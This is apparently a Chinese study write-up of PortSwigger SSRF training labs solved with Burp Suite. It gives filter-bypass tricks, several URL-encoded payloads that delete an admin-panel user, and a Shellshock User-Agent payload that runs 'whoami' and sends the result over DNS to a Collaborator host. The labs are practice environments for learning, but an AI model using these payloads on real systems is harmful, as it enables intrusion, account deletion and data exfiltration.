写在前面

该文章是关于作者在PortSwigger的SSRF靶场训练的记录和学习笔记
使用的工具为BurpSuite Pro
有问题请留言或联系邮箱1586937085@qq.com

漏洞简介

SSRF全称Server-Side Request Forgery（服务端请求伪造），这种漏洞允许攻击者操纵服务端向非预期目标发起请求
SSRF根据有无回显可分为普通SSRF和BlindSSRF
对使用黑名单机制防护SSRF可以使用以下方法绕过（以127.0.0.1，localhost举例

• 对IP地址表示方式进行转化

  • 十进制：2130706433

  • 八进制：017700000001

  • 缩写：127.1

• 注册自己的域名，解析为127.0.0.1，也可以直接使用spoofed.burpcollaborator.net

• 对请求url进行多重url编码

Labs

lab1

lab地址：Basic SSRF against the local server
该lab关注的情景是部署网站的本地机器，即localhost
通过该lab的条件是访问http://localhost/admin，删除carlos的账户
进入lab先尝试所有功能，然后观察burp suite的http history，发现一个可能存在的SSRF

使用http://localhost/admin发送请求，发现返回了admin页面，但是在浏览器中进行删除不成功，显示必须要有admin权限才能操作再次观察响应，发现删除功能的api端点


构造删除请求，成功执行，通过

lab2

lab地址：Basic SSRF against another back-end system
该lab关注的情景是部署网站的局域网内的其他机器
通过该lab的条件是探测局域网192.168.0.0/24网段中的服务，删除carlos账户
进入lab，按上述提到的流程操作，发现和lab1类似的漏洞点
构造http://192.168.0.1/admin发送请求，报错参数不存在

按照lab描述，将请求发送给intruder模块探测网段，发现192.168.0.160返回包的状态码是200


按照lab1的思路，构造url，通过

lab3

lab地址：Blind SSRF with out-of-band detection
该lab关注的情景是服务端运行分析工具读取了请求头的referrer字段，并且不会有结果回显到用户界面
通过该lab的条件是在服务端发起一起dns查询
先去collaborator生成一个随机的子域名

将请求商品详情的的请求发送到repeater，修改referrer字段

去collaborator页面观察是否有请求

收到请求，通过

lab4

lab地址：SSRF with blacklist-based input filter
该lab关注的情景是web应用基于黑名单机制对输入进行过滤，需要绕过过滤实施攻击
通过lab的条件是访问http://localhost/admin，删除carlos的账户
基于前两个lab的经验，我直接构造了以下请求，发现被阻止了
http%3a%2f%2f127.0.01%2fadmin%2fdelete%3fusername%3dcarlos

修改payload，将127.0.0.1修改为127.1，再次尝试，还是不成功

再次修改payload，对url的path部分（即admin）进行一次url编码，还是不成功
http%3a%2f%2f127.1%2f%61dmin%2fdelete%3fusername%3dcarlos

再次修改payload，对url的path部分进行二次url编码，成功删除carlos账户，通过

lab5

lab地址：SSRF with filter bypass via open redirection vulnerability
该lab关注的情景是web应用对url的host部分的校验非常完善，无法直接发起恶意的服务端请求，但是该域名下其他功能存在开放重定向漏洞，这时候可以通过设置开放重定向的url来实施SSRF
通过该lab的条件是访问http://192.168.0.12:8080/admin，删除carlos账户
进入lab后尝试所有的功能，发现lab1，lab2和lab4的攻击方式都不成功，发现该lab有一新功能请求如下
GET /product/nextProduct?currentProductId=7&path=
path是一个实施重定向的参数，并且存在开放重定向漏洞


仿照lab1的方式再次构造payload，构造stockApi参数如下stockApi=%2fproduct%2fnextProduct%3fcurrentProductId%3d7%26path%3dhttp%3a%2f%2f192.168.0.12%3a8080%2fadmin%2fdelete%3fusername%3dcarlos
发送请求，删除账户成功，通过

lab6

lab地址：Blind SSRF with Shellshock exploitation
该lab关注的情景是Blind SSRF
通过条件是探测网段192.168.0.0/24的8080端口，使用Shellshock漏洞获取到运行服务的OS的当前用户名
为了更好的探测网站是否存在SSRF漏洞，使用Collaborator EveryWhere插件

将lab的域名添加到target->scope中

然后浏览lab提供的页面，尝试各种操作，再次查看target->site map页面，发现提示收到了collaborator pingback，访问商品详情页的请求在User-Agent和Referrer字段可能有SSRF漏洞

将下列的请求发送到intruder中
GET /product?productId=2 HTTP/2
设置User-Agent为：() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
设置Referrer为：http://192.168.0.1:8080
开始攻击

在collaborator客户端，收到两个dns请求，请求的域名包含了需要的用户名，提交通过

lab7

lab地址：SSRF with whitelist-based input filter

构造如下payload：
stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos